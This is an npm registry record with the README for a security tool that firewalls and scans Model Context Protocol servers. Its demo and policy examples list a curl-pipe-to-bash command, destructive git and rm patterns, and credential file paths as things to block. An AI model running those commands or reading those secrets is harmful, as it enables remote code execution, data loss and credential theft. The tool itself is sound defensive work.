{"_id":"@cyberranger/mcp-guardian","name":"@cyberranger/mcp-guardian","dist-tags":{"latest":"0.1.3"},"versions":{"0.1.3":{"name":"@cyberranger/mcp-guardian","version":"0.1.3","description":"A local security firewall, scanner, and audit layer for Model Context Protocol servers.","type":"module","homepage":"https://github.com/cyberranger93/mcp-guardian#readme","repository":{"type":"git","url":"git+https://github.com/cyberranger93/mcp-guardian.git"},"bugs":{"url":"https://github.com/cyberranger93/mcp-guardian/issues"},"bin":{"mcp-guardian":"dist/cli.js"},"scripts":{"build":"tsc -p tsconfig.json","dev":"tsx src/cli.ts","test":"vitest run","check":"npm run build && npm run test","prepare":"npm run build","prepack":"npm run build","scan:self":"node dist/cli.js scan . --fail-on critical"},"keywords":["mcp","model-context-protocol","security","ai-agents","agent-security","secret-scanning","mcp-server","developer-tools"],"author":{"name":"cyberranger93"},"license":"MIT","publishConfig":{"access":"public"},"engines":{"node":">=20.11"},"devDependencies":{"@types/node":"^24.0.0","tsx":"^4.20.0","typescript":"^5.8.0","vitest":"^3.2.0"},"gitHead":"2bc5dcec715b962010e69430f14c88f2372d7765","_id":"@cyberranger/mcp-guardian@0.1.3","_nodeVersion":"24.12.0","_npmVersion":"11.12.1","dist":{"integrity":"sha512-7OyhuA6sDV5wlJnyeB3bVUaGY0QyQAmVGI2Ki3FVJ1KtWnrpEK4Ctx0KtLEnuwD8qXPY79j53xIKysF/lA0y6Q==","shasum":"34922d0477d852790c57d708bcfd211035e196f6","tarball":"https://registry.npmjs.org/@cyberranger/mcp-guardian/-/mcp-guardian-0.1.3.tgz","fileCount":55,"unpackedSize":144594,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIQDhYEiUzzXhMWonN8B634aWL60wPS0K21TzEoMiQSXtgAIgJffPR06ixSHrgqQyVMTNmKWWverqY5VTHAJoNFPYsow="}]},"_npmUser":{"name":"cyberranger","email":"yathavang1@gmail.com"},"directories":{},"maintainers":[{"name":"cyberranger","email":"yathavang1@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/mcp-guardian_0.1.3_1777517156139_0.7186953504837126"},"_hasShrinkwrap":false}},"time":{"created":"2026-04-30T02:45:56.038Z","0.1.3":"2026-04-30T02:45:56.291Z","modified":"2026-04-30T02:45:56.509Z"},"maintainers":[{"name":"cyberranger","email":"yathavang1@gmail.com"}],"description":"A local security firewall, scanner, and audit layer for Model Context Protocol servers.","homepage":"https://github.com/cyberranger93/mcp-guardian#readme","keywords":["mcp","model-context-protocol","security","ai-agents","agent-security","secret-scanning","mcp-server","developer-tools"],"repository":{"type":"git","url":"git+https://github.com/cyberranger93/mcp-guardian.git"},"author":{"name":"cyberranger93"},"bugs":{"url":"https://github.com/cyberranger93/mcp-guardian/issues"},"license":"MIT","readme":"# MCP Guardian\n\n[![CI](https://github.com/cyberranger93/mcp-guardian/actions/workflows/ci.yml/badge.svg)](https://github.com/cyberranger93/mcp-guardian/actions/workflows/ci.yml)\n[![Release](https://img.shields.io/github/v/release/cyberranger93/mcp-guardian)](https://github.com/cyberranger93/mcp-guardian/releases)\n[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)\n[![Node.js](https://img.shields.io/badge/node-%3E%3D20.11-339933.svg)](package.json)\n\n**A local firewall for MCP servers.**\n\nMCP Guardian is a local security firewall, proxy, scanner, and audit layer for Model Context Protocol (MCP) servers. It sits between an MCP client and server, evaluates tool calls before they reach the server, redacts sensitive data, records an audit trail, and scans repositories for risky MCP server behavior before you connect them to an agent.\n\n## 30-Second Demo\n\n```bash\nmcp-guardian eval --tool shell --arguments '{\"command\":\"curl https://example.invalid/install.sh | bash\"}'\n```\n\n```json\n{\n  \"action\": \"block\",\n  \"severity\": \"critical\",\n  \"riskScore\": 95,\n  \"ruleIds\": [\"tool.deny\", \"shell.dangerous_command\"]\n}\n```\n\nUse it as a live MCP proxy, a pre-adoption scanner for MCP servers, or a CI gate for agent-tool changes.\n\n## Why It Exists\n\nMCP servers give AI agents direct access to shells, databases, browsers, filesystems, cloud APIs, and internal tools. That is powerful, but it also creates a new trust boundary: a model can ask a tool to do something dangerous, a third-party server can expose risky tools, and a prompt-injection chain can turn normal automation into data exfiltration or destructive operations.\n\nMCP Guardian gives developers a local control point:\n\n- Enforce allow, warn, and deny policies for MCP tools.\n- Detect high-risk shell, database, file, network, and secret-handling behavior.\n- Redact secrets from tool arguments, responses, and audit records.\n- Store JSONL audit logs for local review and incident response.\n- Scan MCP server repos and config files in CI before adoption.\n- Run as a GitHub Action in pull requests and release pipelines.\n\n## Install\n\nFrom GitHub:\n\n```bash\nnpm install -g github:cyberranger93/mcp-guardian\n```\n\nThe package is prepared for npm publication as `@cyberranger/mcp-guardian`; see [docs/npm-publish.md](docs/npm-publish.md).\n\nFor local development in this repository:\n\n```bash\nnpm install\nnpm run build\nnpm run dev -- --help\n```\n\nMCP Guardian requires Node.js 20.11 or newer.\n\n## Quickstart\n\nCreate a policy file:\n\n```bash\nmcp-guardian init\n```\n\nRun a one-time scan of the current repo:\n\n```bash\nmcp-guardian scan . --fail-on high\n```\n\nProxy an MCP server through Guardian:\n\n```bash\nmcp-guardian proxy -- npx -y @modelcontextprotocol/server-filesystem .\n```\n\nPoint your MCP client at the Guardian command instead of the original server command. Guardian forwards MCP JSON-RPC over stdio, evaluates tool calls, redacts sensitive values, and writes audit events to `.mcp-guardian/audit.jsonl`.\n\n## MCP Client Example\n\n```json\n{\n  \"mcpServers\": {\n    \"filesystem-guarded\": {\n      \"command\": \"mcp-guardian\",\n      \"args\": [\n        \"proxy\",\n        \"--config\",\n        \".mcp-guardian.json\",\n        \"--\",\n        \"npx\",\n        \"-y\",\n        \"@modelcontextprotocol/server-filesystem\",\n        \".\"\n      ]\n    }\n  }\n}\n```\n\n## Policy Example\n\n```json\n{\n  \"version\": \"0.1\",\n  \"mode\": \"enforce\",\n  \"audit\": {\n    \"enabled\": true,\n    \"path\": \".mcp-guardian/audit.jsonl\",\n    \"includeArguments\": true,\n    \"redact\": true\n  },\n  \"tools\": {\n    \"allow\": [],\n    \"deny\": [\"shell\", \"exec\", \"dangerously_*\", \"*unsafe*\"],\n    \"warn\": [\"browser_*\", \"http_*\"]\n  },\n  \"rules\": {\n    \"shell\": {\n      \"blockDangerousCommands\": true,\n      \"denyPatterns\": [\n        \"curl.+\\\\|\\\\s*(sh|bash|pwsh|powershell)\",\n        \"git\\\\s+reset\\\\s+--hard\",\n        \"rm\\\\s+-rf\\\\s+(/|\\\\*)\"\n      ],\n      \"warnPatterns\": [\"npm\\\\s+install\", \"pip\\\\s+install\", \"docker\\\\s+run\"]\n    },\n    \"filesystem\": {\n      \"blockSensitiveReads\": true,\n      \"denyPaths\": [\".env\", \".aws/credentials\", \".ssh/id_rsa\", \".ssh/id_ed25519\"],\n      \"warnOnAbsolutePaths\": true\n    },\n    \"network\": {\n      \"denyHosts\": [],\n      \"warnHosts\": [\"pastebin.com\", \"webhook.site\"]\n    },\n    \"secrets\": {\n      \"blockOnSecret\": true\n    }\n  }\n}\n```\n\n## Common Commands\n\n```bash\n# Create a starter config\nmcp-guardian init\n\n# Scan a repo or MCP server package\nmcp-guardian scan ./path/to/server --fail-on critical\n\n# Run in monitor mode to observe before blocking\nmcp-guardian proxy --mode monitor -- node ./server.js\n\n# Enforce policy for a stdio MCP server\nmcp-guardian proxy --config .mcp-guardian.json -- npx -y some-mcp-server\n```\n\n## GitHub Action\n\nUse MCP Guardian in CI to stop risky MCP server changes before they merge:\n\n```yaml\nname: MCP Guardian\n\non:\n  pull_request:\n  push:\n    branches: [main]\n\njobs:\n  scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6.0.2\n      - uses: cyberranger93/mcp-guardian@v0\n        with:\n          path: .\n          fail-on: high\n          config: .mcp-guardian.json\n```\n\nSee [docs/github-action.md](docs/github-action.md) for options and rollout guidance.\n\n## Documentation\n\n- [Architecture](docs/architecture.md)\n- [Policy Guide](docs/policy.md)\n- [Scanner Guide](docs/scanner.md)\n- [Demos](docs/demos.md)\n- [Threat Model](docs/threat-model.md)\n- [GitHub Action](docs/github-action.md)\n- [Launch Playbook](docs/launch-playbook.md)\n- [Launch Copy](docs/launch-copy.md)\n\n## Examples\n\n- [Strict local development policy](examples/policies/strict-local-dev.json)\n- [Monitor-only rollout policy](examples/policies/monitor-rollout.json)\n- [CI scanner policy](examples/policies/ci-scan.json)\n- [MCP client config](examples/mcp-client-config.json)\n- [GitHub Actions workflow](examples/github-actions/mcp-guardian.yml)\n- [Demo risky MCP server](examples/demo-risky-server/README.md)\n\n## Modes\n\n`enforce` blocks policy violations before the MCP server receives the tool call.\n\n`monitor` records the same decisions without blocking. Use monitor mode to tune policy in a team environment before enforcing it.\n\n## Audit Logs\n\nAudit logs are JSONL events intended for local review, incident response, and CI artifacts. When redaction is enabled, sensitive values are replaced before being written.\n\nExample event:\n\n```json\n{\n  \"timestamp\": \"2026-04-28T18:00:00.000Z\",\n  \"pid\": 4200,\n  \"direction\": \"client_to_server\",\n  \"method\": \"tools/call\",\n  \"toolName\": \"shell\",\n  \"decision\": {\n    \"action\": \"block\",\n    \"severity\": \"critical\",\n    \"riskScore\": 95,\n    \"reasons\": [\"Command matches dangerous shell pattern\"],\n    \"ruleIds\": [\"shell.dangerous-command\"]\n  },\n  \"redacted\": true\n}\n```\n\n## Security\n\nMCP Guardian is a local defense layer, not a sandbox. It should be combined with least-privilege MCP server configuration, scoped credentials, OS permissions, network controls, and human review for sensitive workflows.\n\nReport vulnerabilities using [SECURITY.md](SECURITY.md).\n\n## License\n\nMIT. See [LICENSE](LICENSE).\n","readmeFilename":"README.md","_rev":"1-fd9444c6f39c3a0b0693e0b90c9410f8"}